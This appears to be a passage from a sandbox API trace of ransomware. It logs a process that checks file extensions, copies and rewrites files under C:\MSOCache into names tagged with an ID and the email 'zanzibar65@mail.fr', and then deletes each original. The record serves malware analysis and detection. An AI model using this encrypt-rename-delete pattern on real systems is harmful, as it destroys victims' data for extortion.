[0044.900] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.900] lstrlenW (lpString=".7z") returned 3 [0044.900] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.900] lstrlenW (lpString=".dbf") returned 4 [0044.900] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.900] lstrlenW (lpString=".1cd") returned 4 [0044.900] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.900] lstrlenW (lpString=".jpg") returned 4 [0044.900] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.900] lstrlenW (lpString=".doc") returned 4 [0044.900] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.900] lstrlenW (lpString=".docx") returned 5 [0044.900] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0044.900] lstrlenW (lpString=".pdf") returned 4 [0044.900] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.900] lstrlenW (lpString=".xls") returned 4 [0044.900] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.900] lstrlenW (lpString=".xlsx") returned 5 [0044.900] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0044.900] lstrlenW (lpString=".ppt") returned 4 [0044.900] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.901] lstrlenW (lpString=".zip") returned 4 [0044.901] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.901] lstrlenW (lpString=".rar") returned 4 [0044.901] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.901] lstrlenW (lpString=".bz2") returned 4 [0044.901] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.901] lstrlenW (lpString=".7z") returned 3 [0044.901] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.901] lstrlenW (lpString=".dbf") returned 4 [0044.901] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.901] lstrlenW (lpString=".1cd") returned 4 [0044.901] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.901] lstrlenW (lpString=".jpg") returned 4 [0044.901] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.901] lstrcmpiW (lpString1=".manifest", lpString2=".html") returned 1 [0044.901] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0044.901] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.901] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=1857) returned 1 [0044.902] CloseHandle (hObject=0x218) returned 1 [0044.902] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0044.902] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.902] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.902] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.902] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.902] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0044.923] GetLastError () returned 0x0 [0044.923] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x741, lpOverlapped=0x0) returned 1 [0044.924] WriteFile (in: hFile=0x17c, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x750, lpOverlapped=0x0) returned 1 [0044.925] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.925] WriteFile (in: hFile=0x17c, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x10a, lpOverlapped=0x0) returned 1 [0044.925] SetEndOfFile (hFile=0x17c) returned 1 [0044.925] CloseHandle (hObject=0x17c) returned 1 [0044.926] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.926] SetEndOfFile (hFile=0x218) returned 1 [0044.926] CloseHandle (hObject=0x218) returned 1 [0044.926] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0044.927] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0044.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.927] lstrlenW (lpString=".doc") returned 4 [0044.927] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0044.927] lstrlenW (lpString=".docx") returned 5 [0044.927] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0044.927] lstrlenW (lpString=".pdf") returned 4 [0044.927] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0044.927] lstrlenW (lpString=".xls") returned 4 [0044.927] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0044.927] lstrlenW (lpString=".xlsx") returned 5 [0044.927] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0044.927] lstrlenW (lpString=".ppt") returned 4 [0044.927] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0044.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.927] lstrlenW (lpString=".zip") returned 4 [0044.927] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0044.927] lstrlenW (lpString=".rar") returned 4 [0044.927] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0044.927] lstrlenW (lpString=".bz2") returned 4 [0044.928] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0044.928] lstrlenW (lpString=".7z") returned 3 [0044.928] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0044.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.928] lstrlenW (lpString=".dbf") returned 4 [0044.928] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0044.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.928] lstrlenW (lpString=".1cd") returned 4 [0044.928] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0044.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.928] lstrlenW (lpString=".jpg") returned 4 [0044.928] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0044.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.928] lstrlenW (lpString=".doc") returned 4 [0044.928] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0044.928] lstrlenW (lpString=".docx") returned 5 [0044.928] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0044.928] lstrlenW (lpString=".pdf") returned 4 [0044.928] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0044.928] lstrlenW (lpString=".xls") returned 4 [0044.928] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0044.928] lstrlenW (lpString=".xlsx") returned 5 [0044.928] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0044.928] lstrlenW (lpString=".ppt") returned 4 [0044.928] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0044.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.928] lstrlenW (lpString=".zip") returned 4 [0044.928] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0044.928] lstrlenW (lpString=".rar") returned 4 [0044.928] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0044.929] lstrlenW (lpString=".bz2") returned 4 [0044.929] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0044.929] lstrlenW (lpString=".7z") returned 3 [0044.929] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0044.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.929] lstrlenW (lpString=".dbf") returned 4 [0044.929] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0044.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.929] lstrlenW (lpString=".1cd") returned 4 [0044.929] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0044.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.929] lstrlenW (lpString=".jpg") returned 4 [0044.929] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0044.929] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0044.929] lstrlenW (lpString="msvcr90.dll") returned 11 [0044.929] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.929] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=655872) returned 1 [0044.929] CloseHandle (hObject=0x218) returned 1 [0044.929] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0044.930] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.930] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.930] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.930] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.930] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0044.930] GetLastError () returned 0x0 [0044.930] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xa0200, lpOverlapped=0x0) returned 1 [0044.943] WriteFile (in: hFile=0x17c, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0045.172] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.172] WriteFile (in: hFile=0x17c, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.172] SetEndOfFile (hFile=0x17c) returned 1 [0045.172] CloseHandle (hObject=0x17c) returned 1 [0045.172] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.172] SetEndOfFile (hFile=0x218) returned 1 [0045.178] CloseHandle (hObject=0x218) returned 1 [0045.178] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0045.178] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0045.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.178] lstrlenW (lpString=".doc") returned 4 [0045.178] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.178] lstrlenW (lpString=".docx") returned 5 [0045.178] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0045.178] lstrlenW (lpString=".pdf") returned 4 [0045.178] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.178] lstrlenW (lpString=".xls") returned 4 [0045.178] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.178] lstrlenW (lpString=".xlsx") returned 5 [0045.178] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0045.178] lstrlenW (lpString=".ppt") returned 4 [0045.179] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.179] lstrlenW (lpString=".zip") returned 4 [0045.179] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.179] lstrlenW (lpString=".rar") returned 4 [0045.179] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.179] lstrlenW (lpString=".bz2") returned 4 [0045.179] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.179] lstrlenW (lpString=".7z") returned 3 [0045.179] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.179] lstrlenW (lpString=".dbf") returned 4 [0045.179] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.179] lstrlenW (lpString=".1cd") returned 4 [0045.179] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.179] lstrlenW (lpString=".jpg") returned 4 [0045.179] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.179] lstrlenW (lpString=".doc") returned 4 [0045.179] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.179] lstrlenW (lpString=".docx") returned 5 [0045.179] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0045.179] lstrlenW (lpString=".pdf") returned 4 [0045.179] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.179] lstrlenW (lpString=".xls") returned 4 [0045.179] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.179] lstrlenW (lpString=".xlsx") returned 5 [0045.179] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0045.180] lstrlenW (lpString=".ppt") returned 4 [0045.180] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.180] lstrlenW (lpString=".zip") returned 4 [0045.180] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.180] lstrlenW (lpString=".rar") returned 4 [0045.180] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.180] lstrlenW (lpString=".bz2") returned 4 [0045.180] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.180] lstrlenW (lpString=".7z") returned 3 [0045.180] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.180] lstrlenW (lpString=".dbf") returned 4 [0045.180] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.180] lstrlenW (lpString=".1cd") returned 4 [0045.180] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.180] lstrlenW (lpString=".jpg") returned 4 [0045.180] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.188] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0045.188] lstrlenW (lpString="osetupui.dll") returned 12 [0045.188] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0045.189] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=191872) returned 1 [0045.189] CloseHandle (hObject=0x17c) returned 1 [0045.189] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0045.189] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0045.189] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0045.189] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.189] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.189] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0045.189] GetLastError () returned 0x0 [0045.189] ReadFile (in: hFile=0x17c, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0045.194] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0045.197] ReadFile (in: hFile=0x17c, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.197] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.197] SetEndOfFile (hFile=0x1f0) returned 1 [0045.197] CloseHandle (hObject=0x1f0) returned 1 [0045.198] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.198] SetEndOfFile (hFile=0x17c) returned 1 [0045.199] CloseHandle (hObject=0x17c) returned 1 [0045.199] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0045.200] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0045.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.202] lstrlenW (lpString=".doc") returned 4 [0045.202] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.202] lstrlenW (lpString=".docx") returned 5 [0045.202] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0045.202] lstrlenW (lpString=".pdf") returned 4 [0045.202] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.202] lstrlenW (lpString=".xls") returned 4 [0045.202] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.202] lstrlenW (lpString=".xlsx") returned 5 